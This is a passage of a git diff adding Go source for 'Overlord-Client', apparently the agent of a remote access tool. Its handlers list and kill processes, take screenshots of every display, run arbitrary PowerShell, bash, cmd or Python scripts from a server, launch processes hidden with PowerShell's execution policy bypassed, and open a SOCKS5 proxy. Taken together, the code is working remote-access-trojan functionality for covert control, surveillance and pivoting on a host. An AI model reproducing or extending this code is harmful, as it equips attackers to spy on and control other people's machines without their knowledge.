runtime.GOARCH) + _, _ = fmt.Fprintf(file, "Reason: %s\n", reason) + if len(stack) > 0 { + _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack)) + } + + return path +} diff --git a/Overlord-Client/cmd/agent/handlers/ping.go b/Overlord-Client/cmd/agent/handlers/ping.go new file mode 100644 index 0000000..1f23b2b --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/ping.go @@ -0,0 +1,25 @@ +package handlers + +import ( + "context" + "log" + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + "time" +) + +func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { + ts := extractTimestamp(envelope["ts"]) + if ts == 0 { + ts = time.Now().UnixMilli() + } + log.Printf("ping: received ts=%d, sending pong", ts) + pong := wire.Pong{Type: "pong", TS: ts} + if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil { + log.Printf("ping: failed to send pong: %v", err) + return err + } + log.Printf("ping: pong sent successfully") + + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/plugin_event.go b/Overlord-Client/cmd/agent/handlers/plugin_event.go new file mode 100644 index 0000000..b17136c --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/plugin_event.go @@ -0,0 +1,25 @@ +package handlers + +import ( + "context" + "log" + + "overlord-client/cmd/agent/runtime" +) + +func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { + if env.Plugins == nil { + return nil + } + pluginID, _ := envelope["pluginId"].(string) + event, _ := envelope["event"].(string) + payload := envelope["payload"] + if pluginID == "" || event == "" { + log.Printf("plugin_event: missing pluginId or event") + return nil + } + if err := env.Plugins.Dispatch(ctx, pluginID, event, payload); err != nil { + log.Printf("plugin_event: dispatch failed for %s: %v", pluginID, err) + } + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/pong.go b/Overlord-Client/cmd/agent/handlers/pong.go new file mode 100644 index 0000000..47ce4ce --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/pong.go @@ -0,0 +1,13 @@ +package handlers + +import ( + "context" + "time" + + "overlord-client/cmd/agent/runtime" +) + +func HandlePong(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error { + env.SetLastPong(time.Now().UnixMilli()) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/processes.go b/Overlord-Client/cmd/agent/handlers/processes.go new file mode 100644 index 0000000..8609719 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/processes.go @@ -0,0 +1,52 @@ +package handlers + +import ( + "context" + "log" + + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error { + log.Printf("process_list: listing all processes") + + processes := []wire.ProcessInfo{} + var errMsg string + + procs, err := listProcesses() + if err != nil { + errMsg = err.Error() + log.Printf("process_list error: %v", err) + } else { + processes = procs + } + + result := wire.ProcessListResult{ + Type: "process_list_result", + CommandID: cmdID, + Processes: processes, + Error: errMsg, + } + + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { + log.Printf("process_kill: %d", pid) + + err := killProcess(pid) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_test.go b/Overlord-Client/cmd/agent/handlers/processes_test.go new file mode 100644 index 0000000..368c878 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/processes_test.go @@ -0,0 +1,260 @@ +package handlers + +import ( + "context" + "testing" + + "overlord-client/cmd/agent/config" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" +) + +func TestHandleProcessList(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-proc-1" + + if err := HandleProcessList(ctx, env, cmdID); err != nil { + t.Fatalf("HandleProcessList failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.ProcessListResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if result.Type != "process_list_result" { + t.Errorf("Expected type 'process_list_result', got '%s'", result.Type) + } + if result.CommandID != cmdID { + t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID) + } + + if len(result.Processes) == 0 { + t.Log("WARNING: No processes returned (may indicate platform issue)") + } else { + t.Logf("Found %d processes", len(result.Processes)) + + for i, proc := range result.Processes { + if proc.PID <= 0 { + t.Errorf("Process %d has invalid PID: %d", i, proc.PID) + } + if proc.Name == "" { + t.Errorf("Process %d has empty name", i) + } + if proc.Memory < 0 { + t.Errorf("Process %d has negative memory: %d", i, proc.Memory) + } + if proc.CPU < 0 { + t.Errorf("Process %d has negative CPU: %f", i, proc.CPU) + } + + validTypes := map[string]bool{ + "system": true, + "service": true, + "own": true, + "other": true, + "": true, + } + if !validTypes[proc.Type] { + t.Errorf("Process %d has invalid type: %s", i, proc.Type) + } + } + + pidExists := make(map[int32]bool) + for _, proc := range result.Processes { + pidExists[proc.PID] = true + } + + for _, proc := range result.Processes { + if proc.PPID != 0 && !pidExists[proc.PPID] { + t.Logf("INFO: Process %d (%s) has PPID %d which is not in the list (may have exited)", + proc.PID, proc.Name, proc.PPID) + } + } + } +} + +func TestHandleProcessList_ProcessTypes(t *testing.T) { + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-proc-2" + + if err := HandleProcessList(ctx, env, cmdID); err != nil { + t.Fatalf("HandleProcessList failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.ProcessListResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + typeCounts := make(map[string]int) + for _, proc := range result.Processes { + typeCounts[proc.Type]++ + } + + t.Logf("Process type distribution:") + for typ, count := range typeCounts { + label := typ + if label == "" { + label = "uncategorized" + } + t.Logf(" %s: %d", label, count) + } + + if typeCounts["system"] == 0 { + t.Log("WARNING: No system processes detected") + } + + examples := make(map[string][]string) + for _, proc := range result.Processes { + if len(examples[proc.Type]) < 3 { + examples[proc.Type] = append(examples[proc.Type], proc.Name) + } + } + + t.Log("Example processes by type:") + for typ, procs := range examples { + label := typ + if label == "" { + label = "uncategorized" + } + t.Logf(" %s: %v", label, procs) + } +} + +func TestProcessInfoFields(t *testing.T) { + + proc := wire.ProcessInfo{ + PID: 1234, + PPID: 1, + Name: "test.exe", + CPU: 25.5, + Memory: 1048576, + Username: "testuser", + Type: "own", + } + + data, err := msgpack.Marshal(proc) + if err != nil { + t.Fatalf("Failed to marshal ProcessInfo: %v", err) + } + + var decoded wire.ProcessInfo + if err := msgpack.Unmarshal(data, &decoded); err != nil { + t.Fatalf("Failed to unmarshal ProcessInfo: %v", err) + } + + if decoded.PID != proc.PID { + t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID) + } + if decoded.PPID != proc.PPID { + t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID) + } + if decoded.Name != proc.Name { + t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name) + } + if decoded.CPU != proc.CPU { + t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU) + } + if decoded.Memory != proc.Memory { + t.Errorf("Memory mismatch: got %d, want %d", decoded.Memory, proc.Memory) + } + if decoded.Username != proc.Username { + t.Errorf("Username mismatch: got %s, want %s", decoded.Username, proc.Username) + } + if decoded.Type != proc.Type { + t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type) + } +} + +func TestListProcesses_PlatformSpecific(t *testing.T) { + + processes, err := listProcesses() + if err != nil { + t.Fatalf("listProcesses failed: %v", err) + } + + if len(processes) == 0 { + t.Log("WARNING: No processes returned from listProcesses()") + return + } + + t.Logf("Retrieved %d processes from system", len(processes)) + + for i, proc := range processes { + if i < 10 { + t.Logf("Process: PID=%d PPID=%d Name=%s CPU=%.2f%% Mem=%d User=%s Type=%s", + proc.PID, proc.PPID, proc.Name, proc.CPU, proc.Memory, proc.Username, proc.Type) + } + + if proc.PID <= 0 { + t.Errorf("Process %d has invalid PID: %d", i, proc.PID) + } + } +} + +func TestProcessTypeClassification(t *testing.T) { + + processes, err := listProcesses() + if err != nil { + t.Fatalf("listProcesses failed: %v", err) + } + + if len(processes) == 0 { + t.Skip("No processes available for testing") + } + + var foundSystem, foundService, foundOwn bool + for _, proc := range processes { + switch proc.Type { + case "system": + foundSystem = true + t.Logf("System process example: PID=%d Name=%s User=%s", + proc.PID, proc.Name, proc.Username) + case "service": + foundService = true + t.Logf("Service process example: PID=%d Name=%s User=%s", + proc.PID, proc.Name, proc.Username) + case "own": + foundOwn = true + t.Logf("Own process example: PID=%d Name=%s User=%s", + proc.PID, proc.Name, proc.Username) + } + + if foundSystem && foundService && foundOwn { + break + } + } + + if !foundSystem { + t.Log("INFO: No system processes detected in classification") + } + if !foundService { + t.Log("INFO: No service processes detected in classification") + } + if !foundOwn { + t.Log("INFO: No own processes detected in classification") + } +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_unix.go b/Overlord-Client/cmd/agent/handlers/processes_unix.go new file mode 100644 index 0000000..ce5429e --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/processes_unix.go @@ -0,0 +1,89 @@ +//go:build !windows +// +build !windows + +package handlers + +import ( + "bufio" + "bytes" + "os/exec" + "strconv" + "strings" + "syscall" + + "overlord-client/cmd/agent/wire" +) + +func listProcesses() ([]wire.ProcessInfo, error) { + + cmd := exec.Command("ps", "aux") + output, err := cmd.Output() + if err != nil { + return nil, err + } + + processes := make([]wire.ProcessInfo, 0) + scanner := bufio.NewScanner(bytes.NewReader(output)) + + scanner.Scan() + + for scanner.Scan() { + line := scanner.Text() + fields := strings.Fields(line) + if len(fields) < 11 { + continue + } + + pid, err := strconv.ParseInt(fields[1], 10, 32) + if err != nil { + continue + } + + cpu, _ := strconv.ParseFloat(fields[2], 64) + mem, _ := strconv.ParseFloat(fields[3], 64) + + memBytes := uint64(mem * 8 * 1024 * 1024 * 1024 / 100) + + name := fields[10] + username := fields[0] + + ppid := int32(0) + ppidCmd := exec.Command("ps", "-o", "ppid=", "-p", fields[1]) + if ppidOutput, err := ppidCmd.Output(); err == nil { + ppidStr := strings.TrimSpace(string(ppidOutput)) + if ppidVal, err := strconv.ParseInt(ppidStr, 10, 32); err == nil { + ppid = int32(ppidVal) + } + } + + procType := "other" + if pid <= 2 || username == "root" { + procType = "system" + } else { + + currentUserCmd := exec.Command("whoami") + if currentUserOutput, err := currentUserCmd.Output(); err == nil { + currentUser := strings.TrimSpace(string(currentUserOutput)) + if username == currentUser { + procType = "own" + } + } + } + + processes = append(processes, wire.ProcessInfo{ + PID: int32(pid), + PPID: ppid, + Name: name, + CPU: cpu, + Memory: memBytes, + Username: username, + Type: procType, + }) + } + + return processes, scanner.Err() +} + +func killProcess(pid int32) error { + return syscall.Kill(int(pid), syscall.SIGKILL) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go new file mode 100644 index 0000000..c0f324d --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go @@ -0,0 +1,174 @@ +//go:build windows +// +build windows + +package handlers + +import ( + "fmt" + "strings" + "syscall" + "unsafe" + + "overlord-client/cmd/agent/wire" + + "golang.org/x/sys/windows" +) + +var ( + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + modPsapi = windows.NewLazySystemDLL("psapi.dll") + procEnumProcesses = modPsapi.NewProc("EnumProcesses") + procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo") + procOpenProcess = modKernel32.NewProc("OpenProcess") + procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW") +) + +type PROCESS_MEMORY_COUNTERS struct { + CB uint32 + PageFaultCount uint32 + PeakWorkingSetSize uintptr + WorkingSetSize uintptr + QuotaPeakPagedPoolUsage uintptr + QuotaPagedPoolUsage uintptr + QuotaPeakNonPagedPoolUsage uintptr + QuotaNonPagedPoolUsage uintptr + PagefileUsage uintptr + PeakPagefileUsage uintptr +} + +func listProcesses() ([]wire.ProcessInfo, error) { + var pids [4096]uint32 + var bytesReturned uint32 + + ret, _, _ := procEnumProcesses.Call( + uintptr(unsafe.Pointer(&pids[0])), + uintptr(len(pids)*4), + uintptr(unsafe.Pointer(&bytesReturned)), + ) + + if ret == 0 { + return nil, fmt.Errorf("EnumProcesses failed") + } + + numProcesses := int(bytesReturned / 4) + processes := make([]wire.ProcessInfo, 0, numProcesses) + + for i := 0; i < numProcesses; i++ { + pid := int32(pids[i]) + if pid == 0 { + continue + } + + handle, _, _ := procOpenProcess.Call( + windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, + 0, + uintptr(pid), + ) + + if handle == 0 { + continue + } + defer windows.CloseHandle(windows.Handle(handle)) + + var filename [windows.MAX_PATH]uint16 + ret, _, _ := procGetProcessImageFileNameW.Call( + handle, + uintptr(unsafe.Pointer(&filename[0])), + uintptr(len(filename)), + ) + + name := "Unknown" + if ret != 0 { + name = syscall.UTF16ToString(filename[:]) + + for i := len(name) - 1; i >= 0; i-- { + if name[i] == '\\' || name[i] == '/' { + name = name[i+1:] + break + } + } + } + + var memCounters PROCESS_MEMORY_COUNTERS + memCounters.CB = uint32(unsafe.Sizeof(memCounters)) + memory := uint64(0) + + ret, _, _ = procGetProcessMemoryInfo.Call( + handle, + uintptr(unsafe.Pointer(&memCounters)), + uintptr(memCounters.CB), + ) + + if ret != 0 { + memory = uint64(memCounters.WorkingSetSize) + } + + var pbi windows.PROCESS_BASIC_INFORMATION + ppid := int32(0) + err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil) + if err == nil { + ppid = int32(pbi.InheritedFromUniqueProcessId) + } + + username := "System" + var token windows.Token + if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil { + defer token.Close() + tokenUser, err := token.GetTokenUser() + if err == nil { + account, domain, _, err := tokenUser.User.Sid.LookupAccount("") + if err == nil { + if domain != "" { + username = domain + "\\" + account + } else { + username = account + } + } + } + } + + procType := "other" + usernameLower := strings.ToLower(username) + nameLower := strings.ToLower(name) + + if pid <= 4 || nameLower == "system" || nameLower == "registry" { + procType = "system" + } else if strings.Contains(usernameLower, "system") || + strings.Contains(usernameLower, "local service") || + strings.Contains(usernameLower, "network service") || + usernameLower == "system" { + procType = "service" + } else { + + currentUser, err := windows.GetCurrentProcessToken().GetTokenUser() + if err == nil { + tokenUser, err := token.GetTokenUser() + if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) { + procType = "own" + } + } + } + + processes = append(processes, wire.ProcessInfo{ + PID: pid, + PPID: ppid, + Name: name, + CPU: 0.0, + Memory: memory, + Username: username, + Type: procType, + }) + } + + return processes, nil +} + +func killProcess(pid int32) error { + handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid)) + if err != nil { + return err + } + defer windows.CloseHandle(handle) + + return windows.TerminateProcess(handle, 1) +} diff --git a/Overlord-Client/cmd/agent/handlers/screenshot.go b/Overlord-Client/cmd/agent/handlers/screenshot.go new file mode 100644 index 0000000..c7e114c --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/screenshot.go @@ -0,0 +1,209 @@ +package handlers + +import ( + "bytes" + "context" + "errors" + "image" + "image/draw" + "image/jpeg" + "log" + goruntime "runtime" + + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/kbinani/screenshot" +) + +func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error { + if allDisplays { + log.Printf("screenshot: capturing all displays") + } else { + log.Printf("screenshot: capturing primary display") + } + + defer func() { + if r := recover(); r != nil { + log.Printf("screenshot: panic recovered: %v", r) + wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "screenshot capture panicked", + }) + } + }() + + img, displayIndex, bounds, err := captureScreenshotImage(allDisplays) + if err != nil { + log.Printf("screenshot: capture failed: %v", err) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + }) + } + + var buf bytes.Buffer + opts := &jpeg.Options{Quality: 85} + if err := jpeg.Encode(&buf, img, opts); err != nil { + log.Printf("screenshot: jpeg encode failed: %v", err) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: err.Error(), + }) + } + + jpegData := buf.Bytes() + log.Printf("screenshot: captured %dx%d, encoded %d bytes", bounds.Dx(), bounds.Dy(), len(jpegData)) + + screenshotResult := wire.ScreenshotResult{ + Type: "screenshot_result", + CommandID: cmdID, + Format: "jpeg", + Width: bounds.Dx(), + Height: bounds.Dy(), + Data: jpegData, + } + + if err := wire.WriteMsg(ctx, env.Conn, screenshotResult); err != nil { + log.Printf("screenshot: failed to send screenshot result: %v", err) + return err + } + + frame := wire.Frame{ + Type: "frame", + Header: wire.FrameHeader{ + Monitor: displayIndex, + FPS: 0, + Format: "jpeg", + }, + Data: jpegData, + } + + if err := wire.WriteMsg(ctx, env.Conn, frame); err != nil { + log.Printf("screenshot: failed to send frame: %v", err) + return err + } + + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + }) +} + +func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) { + if goruntime.GOOS == "windows" { + if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil { + return img, displayIndex, bounds, nil + } + } + + n := screenshot.NumActiveDisplays() + if n == 0 { + return nil, 0, image.Rectangle{}, errors.New("no active displays available") + } + + displayIndex := 0 + if allDisplays { + minX := int(1e9) + minY := int(1e9) + maxX := int(-1e9) + maxY := int(-1e9) + + for i := 0; i < n; i++ { + b := screenshot.GetDisplayBounds(i) + if b.Min.X < minX { + minX = b.Min.X + } + if b.Min.Y < minY { + minY = b.Min.Y + } + if b.Max.X > maxX { + maxX = b.Max.X + } + if b.Max.Y > maxY { + maxY = b.Max.Y + } + } + + bounds := image.Rect(minX, minY, maxX, maxY) + img, err := screenshot.CaptureRect(bounds) + return img, displayIndex, bounds, err + } + + minX := int(1e9) + minY := int(1e9) + for i := 0; i < n; i++ { + b := screenshot.GetDisplayBounds(i) + if b.Min.X <= minX && b.Min.Y <= minY { + minX = b.Min.X + minY = b.Min.Y + displayIndex = i + } + } + bounds := screenshot.GetDisplayBounds(displayIndex) + img, err := screenshot.CaptureRect(bounds) + return img, displayIndex, bounds, err +} + +func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) { + monitorCount := capture.MonitorCount() + if monitorCount <= 0 { + return nil, 0, image.Rectangle{}, errors.New("no active displays available") + } + + if !allDisplays { + img, err := capture.CaptureDisplayRGBABitBlt(0) + if err != nil || img == nil { + return nil, 0, image.Rectangle{}, err + } + return img, 0, img.Rect, nil + } + + type monCapture struct { + bounds image.Rectangle + img *image.RGBA + } + parts := make([]monCapture, 0, monitorCount) + minX, minY := int(1e9), int(1e9) + maxX, maxY := int(-1e9), int(-1e9) + + for i := 0; i < monitorCount; i++ { + bounds := capture.DisplayBounds(i) + img, err := capture.CaptureDisplayRGBABitBlt(i) + if err != nil || img == nil { + return nil, 0, image.Rectangle{}, err + } + parts = append(parts, monCapture{bounds: bounds, img: img}) + if bounds.Min.X < minX { + minX = bounds.Min.X + } + if bounds.Min.Y < minY { + minY = bounds.Min.Y + } + if bounds.Max.X > maxX { + maxX = bounds.Max.X + } + if bounds.Max.Y > maxY { + maxY = bounds.Max.Y + } + } + + virtualBounds := image.Rect(minX, minY, maxX, maxY) + canvas := image.NewRGBA(image.Rect(0, 0, virtualBounds.Dx(), virtualBounds.Dy())) + for _, part := range parts { + offX := part.bounds.Min.X - minX + offY := part.bounds.Min.Y - minY + dst := image.Rect(offX, offY, offX+part.img.Rect.Dx(), offY+part.img.Rect.Dy()) + draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src) + } + + return canvas, 0, canvas.Rect, nil +} diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go new file mode 100644 index 0000000..99674d8 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/script.go @@ -0,0 +1,94 @@ +package handlers + +import ( + "context" + "log" + "os/exec" + "runtime" + "strings" + "time" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error { + log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent)) + + var cmd *exec.Cmd + switch scriptType { + case "powershell": + if runtime.GOOS == "windows" { + cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent) + } else { + + cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent) + } + case "bash": + if runtime.GOOS == "windows" { + + cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent) + } else { + cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent) + } + case "sh": + cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent) + case "cmd": + if runtime.GOOS == "windows" { + cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent) + } else { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "cmd.exe not available on non-Windows systems", + }) + } + case "python": + cmd = exec.CommandContext(ctx, "python", "-c", scriptContent) + case "python3": + cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent) + default: + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "unsupported script type: " + scriptType, + }) + } + + timeout := 5 * time.Minute + ctx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + output, err := cmd.CombinedOutput() + + if err != nil { + + if ctx.Err() == context.DeadlineExceeded { + return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + Type: "script_result", + CommandID: cmdID, + OK: false, + Output: string(output), + Error: "Script execution timed out after " + timeout.String(), + }) + } + + return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + Type: "script_result", + CommandID: cmdID, + OK: false, + Output: string(output), + Error: err.Error(), + }) + } + + log.Printf("script: execution completed successfully (%d bytes output)", len(output)) + return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{ + Type: "script_result", + CommandID: cmdID, + OK: true, + Output: strings.TrimSpace(string(output)), + }) +} diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_args.go b/Overlord-Client/cmd/agent/handlers/silent_exec_args.go new file mode 100644 index 0000000..b517947 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_args.go @@ -0,0 +1,73 @@ +package handlers + +import ( + "strings" + "unicode" +) + +func parseCommandArgs(input string) []string { + if strings.TrimSpace(input) == "" { + return []string{} + } + + var args []string + var current []rune + inSingle := false + inDouble := false + escaped := false + + for _, r := range input { + if escaped { + current = append(current, r) + escaped = false + continue + } + + if r == '\\' { + escaped = true + continue + } + + if inSingle { + if r == '\'' { + inSingle = false + } else { + current = append(current, r) + } + continue + } + + if inDouble { + if r == '"' { + inDouble = false + } else { + current = append(current, r) + } + continue + } + + switch { + case r == '\'': + inSingle = true + case r == '"': + inDouble = true + case unicode.IsSpace(r): + if len(current) > 0 { + args = append(args, string(current)) + current = nil + } + default: + current = append(current, r) + } + } + + if escaped { + current = append(current, '\\') + } + + if len(current) > 0 { + args = append(args, string(current)) + } + + return args +} diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go new file mode 100644 index 0000000..c41880e --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go @@ -0,0 +1,34 @@ +//go:build !windows +// +build !windows + +package handlers + +import ( + "os" + "os/exec" + "path/filepath" + "strings" +) + +func startSilentProcess(command string, args []string, cwd string, _ bool) error { + ext := strings.ToLower(filepath.Ext(command)) + + var cmd *exec.Cmd + if ext == ".sh" { + cmd = exec.Command("sh", append([]string{command}, args...)...) + } else { + cmd = exec.Command(command, args...) + } + + if cwd != "" { + cmd.Dir = cwd + } + + nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0) + if err == nil { + cmd.Stdin = nullFile + cmd.Stdout = nullFile + cmd.Stderr = nullFile + } + return cmd.Start() +} diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go new file mode 100644 index 0000000..685781a --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go @@ -0,0 +1,60 @@ +//go:build windows +// +build windows + +package handlers + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + + "golang.org/x/sys/windows" +) + +func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error { + ext := strings.ToLower(filepath.Ext(command)) + + var cmd *exec.Cmd + switch ext { + case ".bat", ".cmd": + cmd = exec.Command("cmd.exe", append([]string{"/c", command}, args...)...) + case ".ps1": + cmd = exec.Command("powershell.exe", append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)...) + default: + cmd = exec.Command(command, args...) + } + + if cwd != "" { + cmd.Dir = cwd + } + + if hideWindow { + attr := &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0) + if err == nil { + cmd.Stdin = nullFile + cmd.Stdout = nullFile + cmd.Stderr = nullFile + } + + cmd.SysProcAttr = attr + return cmd.Start() + } + + switch ext { + case ".ps1": + psArgs := append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...) + cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "powershell.exe"}, psArgs...)...) + case ".bat", ".cmd": + cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "cmd.exe", "/c", command}, args...)...) + default: + cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", command}, args...)...) + } + if cwd != "" { + cmd.Dir = cwd + } + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: false} + return cmd.Start() +} diff --git a/Overlord-Client/cmd/agent/handlers/socks5.go b/Overlord-Client/cmd/agent/handlers/socks5.go new file mode 100644 index 0000000..35cbfcf --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/socks5.go @@ -0,0 +1,255 @@ +package handlers + +import ( + "context" + "encoding/binary" + "fmt" + "io" + "log" + "net" + "sync" + "time" + + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +var ( + proxyListenerMu sync.Mutex + proxyListener net.Listener + proxyPort int + proxyCtx context.Context + proxyCancel context.CancelFunc +) + +func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { + proxyListenerMu.Lock() + defer proxyListenerMu.Unlock() + + if proxyListener != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "Proxy already running", + }) + } + + requestedPort := 1080 + if portVal, ok := payload["port"]; ok { + if port, ok := portVal.(int); ok && port > 0 { + requestedPort = port + } + } + + listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort)) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("Failed to start proxy: %v", err), + }) + } + + proxyListener = listener + proxyPort = listener.Addr().(*net.TCPAddr).Port + proxyCtx, proxyCancel = context.WithCancel(context.Background()) + + log.Printf("SOCKS5 proxy started on port %d", proxyPort) + + if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: fmt.Sprintf("Proxy started on port %d", proxyPort), + }); err != nil { + return err + } + + go acceptProxyConnections(proxyCtx, listener) + + return nil +} + +func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error { + proxyListenerMu.Lock() + defer proxyListenerMu.Unlock() + + if proxyListener == nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "No proxy running", + }) + } + + if proxyCancel != nil { + proxyCancel() + } + + if err := proxyListener.Close(); err != nil { + log.Printf("Error closing proxy listener: %v", err) + } + + proxyListener = nil + proxyPort = 0 + + log.Printf("SOCKS5 proxy stopped") + + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "Proxy stopped", + }) +} + +func acceptProxyConnections(ctx context.Context, listener net.Listener) { + for { + select { + case <-ctx.Done(): + return + default: + } + + conn, err := listener.Accept() + if err != nil { + select { + case <-ctx.Done(): + return + 